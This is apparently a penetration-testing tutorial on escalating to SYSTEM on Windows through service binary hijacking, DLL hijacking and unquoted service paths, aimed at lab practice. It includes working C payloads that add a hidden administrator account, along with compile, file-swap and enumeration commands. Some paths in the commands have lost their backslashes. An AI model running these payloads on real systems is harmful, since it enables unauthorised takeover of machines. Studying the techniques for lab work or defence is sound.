The Richest Place to Look
A Windows service is a background program managed by the Service Control Manager, the equivalent of a daemon on Linux. And here’s why services are the first thing you check for privilege escalation:
Most services run as LocalSystem, which is SYSTEM. So a service is a program that already runs with the highest privileges on the box. If you can influence what it executes, you inherit those privileges.
This is the “privileged thing you can change” idea from the last note, in its purest form. There are three ways to bend a service to your code, and they’re variations on one move.
Mapping the Services
First, list every service and the binary it runs:
Get-CimInstance -ClassName win32_service |
Select Name, State, PathName |
Where-Object {$_.State -like 'Running'}What you’re scanning for: binaries outside C:\Windows\System32. A service whose .exe lives in C:\Program Files\SomeApp or C:\MySQL is user-installed, which means a developer (not Microsoft) chose its directory and its permissions. That’s where mistakes live.
To check whether you can tamper with a binary, read its permissions with icacls:
PS> icacls "C:\MySQL\bin\mysqld.exe"
C:\MySQL\bin\mysqld.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
BUILTIN\Users:(F) The permission masks that matter:
| Mask | Meaning |
|---|---|
| F | Full control |
| M | Modify |
| RX | Read & execute |
| R / W | Read / Write only |
Seeing
BUILTIN\Users:(F)or(M)on a service binary is the jackpot: your group can overwrite a file that runs as SYSTEM.
1. Service Binary Hijacking
The most direct technique. If you can write to the service’s .exe, replace it with your own.
The malicious binary just needs to do something useful as SYSTEM, like creating an admin account:
#include <stdlib.h>
int main() {
system("net user hacker Passw0rd! /add");
system("net localgroup administrators hacker /add");
return 0;
}Cross-compile it on Kali with mingw, then swap it in:
x86_64-w64-mingw32-gcc adduser.c -o mysqld.exemove C:MySQLinmysqld.exe mysqld.exe.bak # back up the original
move .mysqld.exe C:MySQLinmysqld.exe # drop yours inNow you need the service to restart so it runs your binary. A low-privileged user usually can’t stop a service (net stop → access denied). But there’s a reliable trick:
- If the service’s Startup Type is
Auto, it restarts on boot - If you hold
SeShutdownPrivilege(whoami /priv), you can reboot the machine yourself
shutdown /r /t 0After the reboot, the service auto-starts, runs your binary as SYSTEM, and your admin account exists.
In a real engagement, never reboot a production box casually. A machine that doesn’t come back up can take the client’s business down with it. Reboots happen only in coordination with their IT staff.
2. DLL Hijacking
Often the binary isn’t writable. So instead of replacing the .exe, you go after a DLL it loads. This needs one mechanism: the DLL search order.
When a program loads a DLL by name, Windows hunts for it in a fixed order:
- The application’s own directory ← first
- The system directory (
System32) - The 16-bit system directory
- The Windows directory
- The current directory
- Directories in
PATH
Because the application’s directory is searched first, two situations hand you code execution:
- The program loads a DLL that’s missing (a flawed install, a leftover from an update). You supply it.
- You can write to a directory that’s searched before the real DLL’s location.
Either way, you plant a malicious DLL with the expected name in the app’s folder.
You find which DLL to target with Process Monitor: filter for the process, watch CreateFile operations, and look for a DLL that returns NAME NOT FOUND in the application directory before being loaded from System32.
Your DLL gets its code into the program’s DllMain entry point, specifically the DLL_PROCESS_ATTACH case, which fires the moment the DLL is loaded:
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: // runs when the DLL loads
system("net user hacker Passw0rd! /add");
system("net localgroup administrators hacker /add");
break;
}
return TRUE;
}x86_64-w64-mingw32-gcc evil.c --shared -o TextShaping.dllOne crucial detail:
The DLL runs with the privileges of whoever starts the program. If you launch it yourself as a low-priv user, your code runs as you, which is pointless. The win is to plant the DLL and wait for a privileged user (or a service) to run the program, so your
DllMainexecutes as them.
3. Unquoted Service Paths
The third technique exploits a parsing bug, and it’s the most elegant. It applies when a service’s binary path contains spaces and is not wrapped in quotes.
When Windows starts a service, it passes the path to CreateProcess. If the path has spaces and no quotes, the function can’t tell where the filename ends, so it guesses, left to right, trying each split as ...<part>.exe.
For the unquoted path C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe, Windows attempts, in this order:
C:\Program.exe
C:\Program Files\Enterprise.exe
C:\Program Files\Enterprise Apps\Current.exe ← if you can write here, you win
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe The first matching file gets executed as the service account. So if any intermediate directory is writable, you plant an .exe named for that split.
Find vulnerable services by listing unquoted, spaced paths outside the Windows directory:
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """ C:\ and C:\Program Files\ normally need admin to write, but the app’s own subfolder often doesn’t. In the example, Users had Write on C:\Program Files\Enterprise Apps\, so:
copy .adduser.exe 'C:Program FilesEnterprise AppsCurrent.exe'
Start-Service GammaServiceWindows tries ...\Enterprise Apps\Current.exe before reaching the real GammaServ.exe, and runs your file as SYSTEM. (It may throw a “service failed to start” error since your binary isn’t the real service, but your payload already ran.)
Same Shape, Three Locks
Step back and all three are the exact same idea:
| Technique | The privileged thing | The spot you can write |
|---|---|---|
| Binary hijacking | the service’s .exe | the binary file itself |
| DLL hijacking | a DLL the program loads | the app directory (searched first) |
| Unquoted paths | the service’s execution | an intermediate folder in the path |
Every one is a thing that runs as SYSTEM + a place you’re allowed to write. Find that pairing and you escalate.
PowerUp automates the hunt (Get-ModifiableServiceFile, Get-UnquotedService, Write-ServiceBinary), but as always, its abuse functions can miss real vulnerabilities, so confirm by hand when a lead looks promising.
Services aren’t the only Windows component you can bend this way. Scheduled tasks and a few dangerous privileges offer the same kind of opening, which is the next note.
Practice Boxes
- Steel Mountain - Service binary hijacking to SYSTEM, with both manual and PowerUp approaches.
- Windows PrivEsc - A dedicated lab covering service hijacking, unquoted paths, DLL hijacking, and more in one box.